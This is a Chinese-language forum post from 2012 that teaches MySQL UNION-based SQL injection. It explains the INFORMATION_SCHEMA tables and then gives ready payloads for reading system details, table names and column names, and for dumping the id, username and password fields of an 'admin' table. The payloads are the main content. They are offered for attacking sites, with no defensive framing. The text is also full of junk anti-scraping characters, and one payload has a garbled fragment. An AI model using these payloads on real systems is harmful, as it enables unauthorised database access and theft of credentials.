找回密码
 立即注册
查看: 2069|回复: 0
打印 上一主题 下一主题

mysql常规注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:48:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文介绍MYSQL盲注的一些语句和方法% O: g; ^; @, M

  p4 ]. [" F: u- W# W  M% N; C学习盲注前先了解下 IFORMATION_SCHEMA 库
2 o/ g9 Z$ x2 y: M$ y7 }
* H4 ]) v5 J& b1 OMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有& Z" H8 y! v. i. a: E! G* ^9 e
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。) s0 r) @0 M7 `) c5 Y! V, _+ {  ^
1.得到所有数据库名:/ [7 q1 X' d9 D. p
|SCHEMATA ->存储数据库名的表
7 M: t  ?3 M2 ^|---字段:SCHEMA_NAME ->数据库名称; M7 r* A- w. i3 b; V5 N8 I
; k" N- B& Z6 Q
|TABLES ->存储表名
1 A& a3 A1 a. X6 E! }|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
; Z- u2 I+ d3 `* i6 ^. J$ G|---字段:TABLE_NAME ->存储表的表名$ B, I, g" Z3 S+ u  o. G# ?

0 G7 P2 Y& `/ s- N|COLUMNS ->存储的字段名表
3 f- G3 S) c! b  Z|---字段:TABLE_SCHEMA ->该字段所属数据库名8 h+ c) G1 a2 O0 h; T9 V
|---字段:TABLE_NAME ->存储所属表的名称- S( J. j( E  {/ B
3 g' C8 N9 b2 c4 J1 e7 U- I- B
|---字段:COLUMN_NAME ->该字段的名称7 l/ {* p+ p5 N+ Q$ h& ?
" j, W, v( m2 X9 m8 R* M7 H
' d7 U4 \6 ]( ]# v. p+ y6 |
; `# M7 X1 K. l4 N- u( U
###########################################################################' u' G( f" T% r! l" `4 e* }, |4 n

3 K- {) E$ Y  o- m. _- |0x001 获取系统信息:7 I7 G- ^1 l( c
% c1 K( o# S& V# R% Z* D4 i
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
4 H6 L: |/ Z- z+ G5 G! \
' b6 i4 r2 r4 ?3 i/*4 q) r" f$ P7 G! N

9 _( X5 q/ I) ^; U( y@@global.version_compile_os 获取系统版本
) Z! a) K1 q' f& p6 X9 U8 Z# J0 G: V: L9 {- E3 D2 P6 X/ k
@@datadir 数据库路径
) U  `1 Y" z  M% X5 [5 pdatabase() 当前数据库名称
3 }& {5 C+ w8 W3 k9 x" F0x3c62723e 换行HEX值2 R: ]/ l# y6 H

8 L% ^) {6 [4 l3 H7 ]0 m  Q*/7 K6 m$ e* X0 N; I; s7 [. Z
" r6 P% E5 I: m/ H& z
! S6 ^1 s' M3 E' g  S) ]7 Y( o
7 o; k$ o/ z2 R: n1 j* z  m
######################################################################% I& z# t2 |% ~+ `0 x! [
* R5 q+ t# a% Q
0x002 获取表名% o# G: L8 y1 o& z' S5 x

! L( U% n! w7 r: J4 Qunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
; k/ S9 D, r5 B) v0 C
5 Q0 j! U. `0 K. J 9 Y8 x6 X& i1 _9 r

- \# @  `% N8 b5 a# h. u/*
  U/ G1 J' A7 r2 l) ]. G. D# h( ~5 a0 N0 r  l
0x67617264656e 为当前数据库名  P: @2 X6 C, v9 G% u5 o

2 Y+ z. l  w1 _/ H; o4 d' b6 b, tgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
8 J7 ?0 z% B5 s% ?
' r. F; |7 Z0 f! |*/& N$ r4 U7 g  z, Z. E
5 |1 z7 o8 m# V
######################################################################0 \% m  r* W0 R: I

( X& H. v7 S  ], V
) P, Y, r$ c0 G7 U; i' x0 H5 q, I
: q6 M# u( H' f( ~& `' J9 y/ K0x003 获取字段/ R2 _0 P$ o; m- S  q$ S
4 k5 q6 M; L% N1 k3 W( _" G* z
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
# k" A4 B3 B6 b; {/ x  ]1 X8 T( h$ ~9 |, j" Z! T: b  e
/*
+ n! \6 F* Z- G- |" n5 J" \: E
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段4 n1 r3 ]! A9 G. F

* j3 g8 M5 ~- z2 ^: X; e6 E0x61646d696e ->选择一个表
. f4 V, D" q6 k4 u4 p' b/ H; u5 l6 s: A0 P$ |( \; |5 A1 a1 q
0x67617264656e ->数据库名5 ?) M# m* P7 C  }- v0 t4 v
0 P8 u, \" M( ], h1 K4 j
*/8 A- v5 {; k+ l6 k) t9 Q
- J* k' }9 W5 b, A7 P. o* d" w, I  Q
#####################################################################
' j7 ]$ @" O6 S& T9 f$ d1 L9 g7 d* k' I+ V$ N
2 X6 E2 t: x; z/ h

4 V: M( `1 c2 e% t2 D# l4 M; ^0x004 获取数据
! f  s4 y1 e. |; ^: C/ |6 J1 T' [7 k( W, _" Z3 f
union select 1,2,3$ O& e8 M& M  W+ T+ Y: p+ I* Y
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin8 f  r# }+ D( j) v! H; ~" U

8 ^" L$ q9 M8 E& H; C$ B9 r5 Gunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin2 ]% a2 D. V3 O1 I
' C, K0 S" v8 e6 z( Y, a
- {6 c- ]9 O0 [/ {$ W

7 ?' ?& r. T3 X3 D4 Q8 g: J/*
3 W2 q  w9 C$ L: v
9 y5 m$ P9 r* y* p# l4 Y0x3c62723e 换行符号HEX编码' N. {5 c. i9 O3 K
& a/ L. K( r3 i
group_concat 同时获得该字段所有数据, ~3 k/ p2 d4 V; R# g+ W

: Q" ~. v0 r: T! ~; h: {/ w7 R5 g+ R9 X*/( m9 K* Y9 E" s
9 H8 U$ z7 a) g) I2 w* ~; [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表